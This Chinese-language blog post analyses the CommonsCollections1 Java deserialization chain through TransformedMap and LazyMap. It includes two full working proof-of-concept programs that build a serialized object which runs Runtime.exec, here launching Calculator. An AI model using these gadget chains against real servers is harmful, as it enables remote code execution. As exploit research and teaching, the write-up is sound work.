在上一篇文章中,分析了使用commons-collections用来进行RCE的原理。那么在实际情况中,需要找到一个反序列化链来RCE。这篇文章分析的就是CommonsCollections1。让我们来看看它是如何构造反序列化链的。
需要找到一个符合一下条件的类,并且在服务端有反序列化的入口,就可以RCE了。
- 该类重写了readObject方法
- 该类的readObject方法中操作了
TransformedMap,比如调用setValue、put、putAll
搜索了一下调用transform的位置,最有可能被利用的就是LazyMap.get、TransformedMap.checkSetValue,其中checkSetValue会在Entry.setValue函数被调用的时候调用。定位到TransformedMap的父类AbstractInputCheckedMapDecorator中的MapEntry类的setValue方法:

可以看到调用了checkSetValue方法。因此需要在被重载的readObject函数中发现相关可控Map数据的操作(LazyMap.get和Entry.setValue)。对应的对于CommonsCollections1有了2种利用链。
先来看第一种,利用TransformedMap.checkSetValue。整个的利用链如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| ->AnnotationInvocationHandler.readObject() ->TransformedMap.entrySet().iterator().next.setValue() ->TransformedMap.checkSetValue() ->TransformedMap.transform() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InvokerTransformer.transform() ->Method.invoke() ->Class.getMethod() ->InvokerTransformer.transform() ->Method.invoke() ->Runtime.getRuntime() ->InvokerTransformer.transform() ->Method.invoke() ->Runtime.exec()
|
利用条件:
- <= JRE 8u72
- commonscollections:3.1, 3.2, 3.2.1
参考:CommonsCollections deserialization attack payloads from ysoserial failing
commonscollections:3.2.2中对不安全的Java类的反序列化增加了开关,默认为关闭状态。比如InvokerTransformer。
利用链分析
CommonsCollections1反序列化调用链最外层利用的是AnnotationInvocationHandler类(sub.reflect.annotation.AnnotationInvocationHandler)。它实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口。
首先定位到AnnotationInvocationHandler类的readObject函数。可以看到在readObject函数中361行调用了setValue方法且是在Entry中调用的,Entry var5又来自this.memberValues.entrySet().iterator()。

因此当获取到this.memberValues为TransformedMap时,就调用了Entry.setValue,从而到了TransformedMap.checkSetValue方法

看到checkSetValue方法中的this.valueTransformer.transform(value)就到了熟悉的Transformer了。到这里整个利用链就结束了。
memberValues是AnnotationInvocationHandler的成员变量,memberValues的值是在var1.defaultReadObject()时反序列化生成的。可以通过在var1.defaultReadObject()下断点,进入defaultReadObject()函数中,在经过defaultReadFields()后,memberValues值被赋为传入的TransformedMap如下图所示:

payload构造
首先实例化出一个TransformedMap对象,其中this.valueTransformer为构造的TransformedChain对象。代码如下:
1 2 3
| Map map = new HashMap(); map.put("value","value"); Map transformedMap = TransformedMap.decorate(map,null,transformedChain);
|
然后在AnnotationInvocationHandler对象反序列化时需要使得this.memberValue为TransformedMap对象。看一下AnnotationInvocationHandler的构造函数。

传入一个注解类以及Map类。创建AnnotationInvocationHandler对象。因为AnnotationInvocationHandler是一个内部API专用的类,在外部无法通过类名创建实例,需要通过反射的方式创建出AnnotationInvocationHandler对象。代码如下:
1 2 3 4 5 6 7
| Class clazz = Class.forname("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object instance = constructor.newInstance(Target.class, transformedMap);
|
创建时map的key名称必须对应创建AnnotationInvocationHandler时使用的注解方法名。比如创建AnnotationInvocationHandler时传入的注解是java.lang.annotation.Target,那么map的key必须是@Target注解中的方法名,即: value。至于为什么传入Target注解而不是其他注解,传入其他注解如@Retention也可以,@Retention注解中的方法名也是value。
通过分析可知,在readObject()函数中,Map类型的var3是key为value,值为class。在357行中,若var6的值为”ananaskr”,而不是”value”,获取到的var7为空。从而在后面的if判断中,无法进入setValue的执行。

完整的攻击demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor;
import java.util.Arrays; import java.util.HashMap; import java.util.Map;
public class test { public static void main(String[] args) throws Exception { Transformer[] transformer = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}), }; Transformer transformedChain = new ChainedTransformer(transformer); Map<String,String> beforetransMap = new HashMap<String,String>(); beforetransMap.put("value","value"); Map transformedMap = TransformedMap.decorate(beforetransMap,transformedChain,transformedChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = clazz.getDeclaredConstructor(Class.class,Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class,transformedMap); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(baos); out.writeObject(instance); out.flush(); out.close(); byte[] bytes = baos.toByteArray(); System.out.println(Arrays.toString(bytes));
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream in = new ObjectInputStream(bais); in.readObject(); in.close(); } }
|
结果如下所示:

02 LazyMap.get
此外,能够调用transform方法的还有LazyMap.get方法。在ysoserial中的commonsCollections1中就是利用这种方式产生payload。那么如何调用LazyMap.get方法呢?这里利用到了AnnotationInvocationHandler.invoke函数。先来看看整个的反序列化利用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| ->AnnotationInvocationHandler.readObject() ->this.memberValues.entrySet().iterator() ->LazyMap.get() ->this.factory.transform(key) ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InvokerTransformer.transform() ->Method.invoke() ->Class.getMethod() ->InvokerTransformer.transform() ->Method.invoke() ->Runtime.getRuntime() ->InvokerTransformer.transform() ->Method.invoke() ->Runtime.exec()
|
利用链分析
既然利用的是AnnotationInvocationHandler.invoke函数,那么就来看看这个函数

可以看到78行this.memberValues.get(var4),当memberValues为LazyMap即可调用transform方法。LazyMap.get函数如下所示:

但是如何调用invoke函数呢,在这里就介绍到了Java中的Proxy动态代理机制,在该机制下被代理的实例不管调用什么类方法,都会先调用invoke方法。关于动态代理的详细介绍自行查看。
现在只需要找一个调用Map的任何方法地方,还是定位在AnnotationInvocationHandler类的readObject函数。

看到352行中,对Map对象调用了entrySet方法,因此只需要使得this.memberValues为构造好的动态代理Map类即可。到这里整个利用链分析就结束了。
payload构造
Transformer链前面分析过,这里从构造LazyMap对象开始。构造LazyMap对象的代码如下:
1
| Map lazyMap = LazyMap.decorate(beforetransMap,transformedChain);
|
然后是构造动态代理类,主要的中心思想是使用AnnotationInvocationHandler代理目标LazyMap对象。传入被代理的目标,实例化AnnotationInvocationHandler。最后借助Proxy类的newProxyInstance方法来动态生成代理类。代码如下:
1 2 3 4 5 6 7 8
| ClassLoader classLoader = lazyMap.getClass().getClassLoader(); Class[] interfaces = lazyMap.getClass().getInterfaces(); Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; ctor.setAccessible(true); InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class,lazyMap); Map mapProxy = (Map)Proxy.newProxyInstance(classLoader, interfaces, handler);
|
到这里动态代理类对象mapProxy就构造完了,最后实例化AnnotationInvocationHandler类,传入动态代理类对象mapProxy。
1 2 3 4
| Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctorr = clazz.getDeclaredConstructors()[0]; ctorr.setAccessible(true); Object instance1 = ctorr.newInstance(Override.class,mapProxy);
|
完整的攻击demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map;
public class test { public static void main(String[] args) throws Exception { Transformer[] transformer = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}), };
Transformer transformedChain = new ChainedTransformer(transformer); Map<String,String> beforetransMap = new HashMap<String,String>(); Map lazyMap = LazyMap.decorate(beforetransMap,transformedChain); ClassLoader classLoader = lazyMap.getClass().getClassLoader(); Class[] interfaces = lazyMap.getClass().getInterfaces();
Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; ctor.setAccessible(true); InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class,lazyMap);
Map mapProxy = (Map)Proxy.newProxyInstance(classLoader, interfaces, handler);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctorr = clazz.getDeclaredConstructors()[0]; ctorr.setAccessible(true); Object instance1 = ctorr.newInstance(Override.class,mapProxy); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(baos); out.writeObject(instance1); out.flush(); out.close();
byte[] bytes = baos.toByteArray();
ByteArrayInputStream bais = new ByteArrayInputStream(bytes); ObjectInputStream in = new ObjectInputStream(bais); in.readObject(); in.close();
}
}
|
结果如下:

参考